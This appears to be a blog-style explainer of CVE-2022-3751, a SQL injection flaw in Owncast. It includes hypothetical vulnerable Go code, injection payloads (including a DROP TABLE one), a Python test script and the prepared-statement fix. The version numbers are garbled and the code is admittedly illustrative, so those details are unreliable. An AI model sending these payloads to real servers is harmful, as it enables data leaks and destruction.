In September 2022, a critical vulnerability (CVE-2022-3751) was reported in the Owncast open-source live streaming platform. If you’re unfamiliar, Owncast is a self-hosted alternative to services like Twitch, allowing anyone to stream video from their own server. Versions prior to ..13 were affected by a SQL Injection bug, opening a dangerous door for attackers. In this post, we’ll walk through what went wrong, show example code, and demonstrate how an attacker could leverage it.
What Is SQL Injection?
SQL Injection is a decades-old web security flaw. Simply put, if an app "blindly" stuffs user data directly into a database query, an attacker can sneak in malicious SQL code. This can lead to data leaks, data corruption, or even full system compromise.
The Vulnerability in Owncast
CVE-2022-3751 lives inside the owncast/owncast git repository before version ..13.
Where Is the Problem?
The vulnerability lies in the way Owncast handles API input parameters for endpoints that interact with its SQLite database. Instead of using parameterized queries, it embedded user-controlled data directly into SQL statements.
Example Code Snippet (Vulnerable)
Imagine Owncast has an endpoint like /api/messages, processing user submissions. Inside their handler, they may have something like:
// Example in Go (simplified from original source)
userInput := request.URL.Query().Get("username") // Unsafe: comes from the user
query := fmt.Sprintf("SELECT * FROM chat_messages WHERE username = '%s'", userInput)
rows, err := db.Query(query)
If the attacker sends a request like
GET /api/messages?username=' OR 1=1; --
The query becomes
SELECT * FROM chat_messages WHERE username = '' OR 1=1; --'
Now, 1=1 is always true, so this query returns all messages, ignoring any username check. With enough creativity, an attacker could do much more—and even modify the database!
By sending crafted input
GET /api/messages?username='; DROP TABLE chat_messages; --
This could issue a DROP TABLE command, wiping out all messages.
Want to see more? Let’s look at a practical example...
Below is a Python script using the requests library to test for the vulnerability
import requests
url = "http://your-owncast-server/api/messages";
payload = "' OR 1=1; --"
params = {"username": payload}
response = requests.get(url, params=params)
print(response.text)
If the server is vulnerable, it will return all messages regardless of the username. A more harmful payload could attempt to delete data or leak extra info.
Fix: Use Prepared Statements
The fix released in Owncast v..13 applies parameterized queries, so user input is always treated as plain data, not code.
Secure code looks like this
stmt, err := db.Prepare("SELECT * FROM chat_messages WHERE username = ?")
if err != nil {
// handle error
}
rows, err := stmt.Query(userInput)
Now, no matter what malicious string comes in, it’s not run as a SQL command.
References and Further Reading
- Original Advisory
- Owncast Security Release ..13
- OWASP SQL Injection Cheat Sheet
- Mitre CVE Record
Summary
CVE-2022-3751 is a critical reminder: treat all user input as hostile! If you run Owncast before version ..13, update immediately. If you develop your own apps, always use parameterized queries for any database interaction—never trust the input.
Stay safe and keep software up to date!
*(If you found this breakdown useful, let me know or share with your team!)*
Timeline
Published on: 11/29/2022 21:15:00 UTC
Last modified on: 12/01/2022 20:48:00 UTC